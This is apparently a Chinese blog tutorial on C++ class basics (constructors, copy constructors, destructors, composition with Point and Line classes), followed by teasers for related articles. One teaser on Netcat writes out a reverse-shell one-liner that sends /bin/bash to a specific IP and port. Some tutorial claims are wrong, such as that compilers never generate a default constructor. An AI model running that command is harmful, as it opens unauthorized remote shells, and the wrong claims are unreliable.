【C++】类-基础知识
类-基础知识
1. 语法定义
class class_name{
public:
公有成员(对外接口)
private:
私有成员(私有接口)
protected:
保护性成员
}
成员包含了数据和方法两个部分
protected与private类似,其差别表现在继承与派生时对派生类的影响不同
例子(点类)
class Point
{
public:
//构造函数
Point(int xx=0, int yy=0) :x(xx), y(yy) {
cout << "Calling contruction function of Point..." << endl;
}
//复制构造函数
Point(Point &p) {
cout << "Calling copy construction function of Point.." << endl;
x = p.getX();
y = p.getY();
}
//类方法
int getX() { return x; }
int getY() { return y; }
void show() {
cout << "(" << x << "," << y << ")" << endl;
}
private:
int x, y;
};
2. 类的实现
- 数据成员定义在类内
- 方法可以定义在类内,也可以在类外(类名加作用域限定符,指明这个函数是属于这个类的)
3. 三个基本的函数
3.1 构造函数
功能
用于在创建类时给类设定初值
形式
- 函数名就是类名
- 没有返回值类型和
return
语句 - 可以有形参,也可以没有形参
- 可以是内联函数
- 可以重载(可以定义多个构造函数,符合语法即可)
- 可以带默认参数,如果所有的参数都带默认参数,该构造函数就是默认构造函数
Note:在声明中定义了默认参数时,实现中不能再指定默认参数。下面代码运行会报错
void func(int x = 0);
void func(int x = 0){
cout << x << endl;
}
调用时机
- 按照构造函数形式初始化类
- 类之间的相互赋值
=
(不是复制构造函数)
默认构造函数
未定义构造函数时,编译器默认不生成构造函数,如果需要,则指定为
class_name()=default
默认构造函数的函数列表为空
类内定义了数据的初始值时,用初始值初始化,否则以默认方式初始化
基本数据类型的初始化值不确定!
3.2 复制构造函数
功能
用一个已经初始化好的对象去初始化本类的一个新对象,形参为已知对象的引用(因为复制构造函数还未定义,无法通过复制的方式传递参数)
形式
class 类名 {
public :
类名( 形参);//构造函数
类名( const 类名 &对象名);//复制构造函数
// ...
};
- 未定义复制构造函数时,编译器会生成默认的复制构造函数
- 不让编译器生成默认构造函数需要用
=delete
指定
调用时机
- 函数参数传递
- 函数返回值
- 以本类的一个对象作为初始值定义新的对象
3.3 析构函数
- 完成对象被删除前的一些清理工作。
- 在对象的生存期结束的时刻系统自动调用它,然后再释放此对象所属的空间。
- 如果程序中未声明析构函数,编译器将自动产生一个默认的析构函数,其函数体为空。
- 声明为
~class_name()
4. 类组合
概念
一个类中的成员是另一个对象。比如线段类包含了点类:
class Line
{
//public:
// Line(Point pp1, Point pp2);
// Line(Line &l);
// double get_len() { return len; }
private:
Point p1, p2;
double len;
};
设计
要同时对本类基本成员和对象成员初始化
声明:
类名::类名(对象成员所需的形参,本类成员形参):对象1(参数),对象2(参数), ......
{
//函数体其他语句
}
Note:冒号后面的部分实际上是在调用复制构造函数。也可以将该部分省略,放到函数体内用
=
赋值
实例:线段类
// 点类
class Point
{
public:
Point(int xx=0, int yy=0) :x(xx), y(yy) {
cout << "Calling contruction function of Point..." << endl;
}
Point(Point &p) {
cout << "Calling copy construction function of Point.." << endl;
x = p.getX();
y = p.getY();
}
int getX() { return x; }
int getY() { return y; }
void show() {
cout << "(" << x << "," << y << ")" << endl;
}
private:
int x, y;
};
//线段类
class Line
{
public:
Line(Point pp1, Point pp2);
Line(Line &l);
double get_len() { return len; }
private:
Point p1, p2;
double len;
};
Line::Line(Point pp1, Point pp2)
: p1(pp1), p2(pp2){
cout << "Calling constuction function of Line..." << endl;
double x = pp1.getX() - pp2.getX();
double y = pp1.getY() - pp2.getY();
len = sqrt(x * x + y * y);
}
Line::Line(Line &l){
p1 = l.p1;
p2 = l.p2;
len = l.get_len();
}
【C++】类-基础知识的更多相关文章
- java核心-多线程(4)-线程类基础知识
1.并发 <1>使用并发的一个重要原因是提高执行效率.由于I/O等情况阻塞,单个任务并不能充分利用CPU时间.所以在单处理器的机器上也应该使用并发. <2>为了实现并发,操作系 ...
- Python类基础知识(面向对象基础)
#首先 我们需要了解 面向过程是什么 面向对象是什么 我们为什么需要使用面向对象 面向过程:根据业务逻辑从上到下写垒代码 面向对象:根据代码对函数进行分类和封装 区别:解决问题的逻辑不同,但是都能解决 ...
- String类基础知识
1.String类的构造方法 (1)String(String original) //把字符串数据封装成字符串对象 (2)String(char[] c) //把字符数组的数据封装成字符串对象 ...
- JAVA核心技术I---JAVA基础知识(工具类Arrays和Collections类)
一:工具类 –不存储数据,而是在数据容器上,实现高效操作 • 排序 • 搜索 –Arrays类 –Collection类 二:Arrays类(处理数组) (一)基本方法 –排序:对数组排序, sort ...
- 背水一战 Windows 10 (76) - 控件(控件基类): Control - 基础知识, 焦点相关, 运行时获取 ControlTemplate 和 DataTemplate 中的元素
[源码下载] 背水一战 Windows 10 (76) - 控件(控件基类): Control - 基础知识, 焦点相关, 运行时获取 ControlTemplate 和 DataTemplate 中 ...
- 背水一战 Windows 10 (75) - 控件(控件基类): FrameworkElement - 基础知识, 相关事件, HorizontalAlignment, VerticalAlignment
[源码下载] 背水一战 Windows 10 (75) - 控件(控件基类): FrameworkElement - 基础知识, 相关事件, HorizontalAlignment, Vertical ...
- 第二十九节:Java基础知识-类,多态,Object,数组和字符串
前言 Java基础知识-类,多态,Object,数组和字符串,回顾,继承,类的多态性,多态,向上转型和向下转型,Object,数组,多维数组,字符串,字符串比较. 回顾 类的定义格式: [类的修饰符] ...
- ASP.NET Core 基础知识(四) Startup.cs类
ASP.NET Core应用程序需要一个启动类,按照约定命名为Startup.在 Program 类的主机生成器上调用 Build 时,将生成应用的主机, 通常通过在主机生成器上调用 WebHostB ...
- ASP.NET Core 基础知识(三) Program.cs类
ASP.NET Framework应用程序是严重依赖于IIS的,System.Web 中有很多方法都是直接调用的 IIS API,并且它还是驻留在IIS进程中的.而 ASP.NET Core 的运行则 ...
随机推荐
- 我的邮箱客户端程序Popmail
05年的时候写了一个邮箱客户端程序.当时主要目的是研究POP3和SMTP协议,同时锻炼自己的网络编程能力.当然了,如果自己写的邮箱客户端能够满足自身的日常工作需要,而不是频繁的登录不同的网页邮箱,那就 ...
- libevent源码学习(9):事件event
目录在event之前需要知道的event_baseevent结构体创建/注册一个event向event_base中添加一个event设置event的优先级激活一个event删除一个event获取指定e ...
- windows10源码编译llvm
准备 cmake, 我目前使用的版本是3.18 llvm 源码, 我下载的是 11.0 我已经具备Vs2015和Vs2017的开发环境. debug模式编译需要较多内存和较多硬盘存储空间. (debu ...
- 【LeetCode】216. Combination Sum III 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述: 题目大意 解题方法 方法一:DFS 方法二:回溯法 日期 题目地址:h ...
- Netcat反弹shell的方法
VPS监听: aliyun: nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777 (-w:连接超时时间 -e 使 ...
- Codeforces 450C:Jzzhu and Chocolate(贪心)
C. Jzzhu and Chocolate time limit per test: 1 seconds memory limit per test: 256 megabytes input: st ...
- Auto-Encoding Variational Bayes
目录 主要内容 Encoder (损失part1) Decoder (损失part2) 伯努利分布 高斯分布 代码 Kingma D P, Welling M. Auto-Encoding Varia ...
- 人脸识别中的重要环节-对齐之3D变换-Java版(文末附开源地址)
一.人脸对齐基本概念 人脸对齐通过人脸关键点检测得到人脸的关键点坐标,然后根据人脸的关键点坐标调整人脸的角度,使人脸对齐,由于输入图像的尺寸是大小不一的,人脸区域大小也不相同,角度不一样,所以要通过坐 ...
- CS5211与PS8625参数差异|CS5211完全兼容PS8625|普瑞PS8625替代
PS8625是一个DP显示端口 到LVDS转换器芯片,利用GPU和显示端口(DP) 或嵌入式显示端口(eDP) 输出和接受LVDS输入的显示面板.PS8625实现双通道DP输入,双链路LVDS输出.P ...
- 利用自定义动画 animate() 方法,实现某图书网站中“近 7 日畅销榜”中的图书无缝垂直向上滚动特效:当光标移入到图书上时,停止滚动,鼠标移开时,继续滚动
查看本章节 查看作业目录 需求说明: 利用自定义动画 animate() 方法,实现某图书网站中"近 7 日畅销榜"中的图书无缝垂直向上滚动特效:当光标移入到图书上时,停止滚动,鼠 ...